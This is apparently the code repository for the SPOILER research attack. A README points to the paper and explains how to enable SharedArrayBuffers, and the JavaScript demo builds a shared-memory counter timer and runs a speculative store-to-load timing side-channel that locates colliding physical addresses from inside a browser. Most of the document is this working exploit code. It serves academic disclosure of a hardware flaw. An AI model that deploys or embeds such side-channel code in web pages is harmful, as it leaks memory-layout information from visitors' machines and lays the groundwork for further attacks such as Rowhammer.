├── js_demo
├── SABcounterWorker.js
├── Test.html
└── CollidingAddressSearch.js
└── README.md
/js_demo/SABcounterWorker.js:
--------------------------------------------------------------------------------
1 | self.addEventListener('message', (m) => {
2 | // Create an Int32Array on top of that shared memory area
3 | const sharedArray = new Uint32Array(m.data)
4 |
5 | while (1) {
6 | //iterations of uint32 values over 2^31 are much slower in firefox
7 | if(sharedArray[0] > 2000000000)
8 | sharedArray[0] = 0;
9 |
10 | sharedArray[0]++;
11 | }
12 | });
13 |
--------------------------------------------------------------------------------
/js_demo/Test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Press Ctrl+Shift+i to see the output.
5 | Possible colliding addresses are marked with a "###"
6 | value between "()" is the distance to the last colliding address
7 |
8 |
9 |
10 | Make sure that SharedArrayBuffers are enabled (enabled by default in chrome >=68).
11 |
12 | How to enable SharedArrayBuffers?
13 | firefox:
14 | about:config => javascript.options.shared_memory => true
15 |
16 | chrome, chrome based browser (e.g. opera):
17 | chrome://flags/ => shared-array-buffer => true
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Spoiler
2 | Code examples and paper for the Spoiler-Attack
3 |
4 | The paper can be found here https://arxiv.org/abs/1903.00446
5 |
6 | ## Repository content
7 | You can find a demo of the SPOILER-leakage from JS in js_demo.
8 |
9 | ## Shared array buffers
10 | We use a counter based on shared array buffers, so make sure they are enabeled before running any tests:
11 |
12 | firefox:
13 | about:config => javascript.options.shared_memory => true
14 |
15 | chrome:
16 | chrome://flags/ => shared-array-buffer => true
17 |
18 | opera:
19 | chrome://flags/ => shared-array-buffer => true
20 |
21 | edge:
22 | status removed
23 | https://www.neowin.net/news/microsoft-mitigates-javascript-vulnerabilities-in-edge-and-internet-explorer
24 |
--------------------------------------------------------------------------------
/js_demo/CollidingAddressSearch.js:
--------------------------------------------------------------------------------
1 | initSABCounterAndSearch();
2 |
3 | function initSABCounterAndSearch(pageCount = 5000){
4 | var SABcounterWorker = getNewSABCounter();
5 | var sharedBuffer = new SharedArrayBuffer(Uint32Array.BYTES_PER_ELEMENT);
6 | var SABCounterArray = new Uint32Array(sharedBuffer);
7 | SABcounterWorker.postMessage(sharedBuffer);
8 |
9 | //get timer time to warm-up
10 | var millisecondsToWait = 500;
11 | setTimeout(function() {
12 | //timer returns valid results?
13 | var timeStamp = 0;
14 | while(SABCounterArray[0] == 0 || SABCounterArray[0] - timeStamp > 100){
15 | timeStamp = SABCounterArray[0];
16 | }
17 | findCollidingAdd(pageCount, SABCounterArray);
18 |
19 | //save some energy
20 | SABcounterWorker.terminate();
21 | }, 500);
22 | }
23 |
24 | function getNewSABCounter(){
25 | function SABcounterWorker(){
26 | self.addEventListener('message', (m) => {
27 | // Create an Int32Array on top of that shared memory area
28 | const sharedArray = new Uint32Array(m.data)
29 |
30 | while (1) {
31 | sharedArray[0]++;
32 | }
33 | });
34 | }
35 |
36 | var SABcounterWorker;
37 |
38 | //browser security polices are fun!!!!!!!
39 | if(!!window.chrome && !!window.chrome.webstore){ //isChrome
40 | SABcounterWorker = new Worker(URL.createObjectURL(new Blob(["("+SABcounterWorker.toString()+")()"], {type: 'text/javascript'})));
41 | } else {
42 | if (typeof InstallTrigger !== 'undefined'){ /*isFirefox*/ } else {
43 | console.log("The Default Content Security Policies of your browser might be matchting with Firefox. Hope for the best!");
44 | }
45 | SABcounterWorker = new Worker("SABcounterWorker.js");
46 | }
47 |
48 | return SABcounterWorker;
49 | }
50 |
51 | //5 round is prob enough
52 | function findCollidingAdd(pageCount, SABCounterArray, rounds = 100, windowSize = 64){
53 | var pageSize = 4096;
54 | var uint32Buffer = new Uint32Array(pageCount * (pageSize/4));
55 | var uint32Buffer2 = new Uint32Array(pageCount * (pageSize/4));
56 | var uint16MeasurementArr = new Uint16Array(pageCount);
57 | var detectionWindowSize = 10;
58 | var candidateIndex = 2*1024; //multiple of 1024!
59 |
60 | for (var p = windowSize; p < pageCount; p++) {
61 | var total = 0;
62 |
63 | for (var r = 0; r < rounds; r++) {
64 | // Stores
65 | for (var i = windowSize; i >= 0; i--) {
66 | //uint32Buffer[(p - i) * 1024] = 0;
67 | uint32Buffer[i * 1024] = 0;
68 |
69 | //uint32Buffer2[(p - i) * 1024] = 0;
70 | }
71 | uint32Buffer[p * 1024] = 0;
72 | // Measuring load
73 | var before = Atomics.load(SABCounterArray, 0);
74 |
75 | var val = uint32Buffer[candidateIndex];
76 |
77 | //insert some useless incrementations to get "superior" peaks
78 | //this incrementations stuff might not be needed on every system
79 | val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;val++;
80 |
81 | var after = val;
82 |
83 | after += Atomics.load(SABCounterArray, 0);
84 | total += (after - before) - val;
85 | }
86 | uint16MeasurementArr[p] = total / rounds;
87 | }
88 |
89 | //output times, mark possible colliding addresses with a "###"
90 | //value between "()" is the difference to last colliding address
91 | var lock = 0, diff=0;
92 | var output = "";
93 | for(var p = windowSize; p < pageCount; p++) {
94 | if(p > windowSize + detectionWindowSize
95 | && lock < 0
96 | && collidingAddressCheck(uint16MeasurementArr, p, detectionWindowSize)){
97 | lock = 10;
98 | output += "###("+ diff + ")";
99 | diff = 1;
100 | } else{
101 | lock--;
102 | diff++;
103 | }
104 |
105 | output += " " + uint16MeasurementArr[p];
106 | if(uint16MeasurementArr[p] > 45){
107 | output += "##";
108 | }
109 | }
110 | console.log(output);
111 | }
112 |
113 | function subArrayAverage(arr, start, detectionWindowSize) {
114 | var sum = 0;
115 | for (var i = 0; i < detectionWindowSize; i++) {
116 | sum += arr[start + i];
117 | }
118 | return sum / detectionWindowSize;
119 | }
120 |
121 | function collidingAddressCheck(measurementArr, p, detectionWindowSize) {
122 | var movingWindowAverage = subArrayAverage(
123 | measurementArr, p - detectionWindowSize - 1, detectionWindowSize);
124 |
125 | if (measurementArr[p] < 100 && measurementArr[p-1] < 100 &&
126 | measurementArr[p] > movingWindowAverage + 5 &&
127 | measurementArr[p-1] > movingWindowAverage + 10 &&
128 | measurementArr[p-1] > measurementArr[p-2] + 10) {
129 | return true;
130 | }
131 | return false;
132 | }
133 |
--------------------------------------------------------------------------------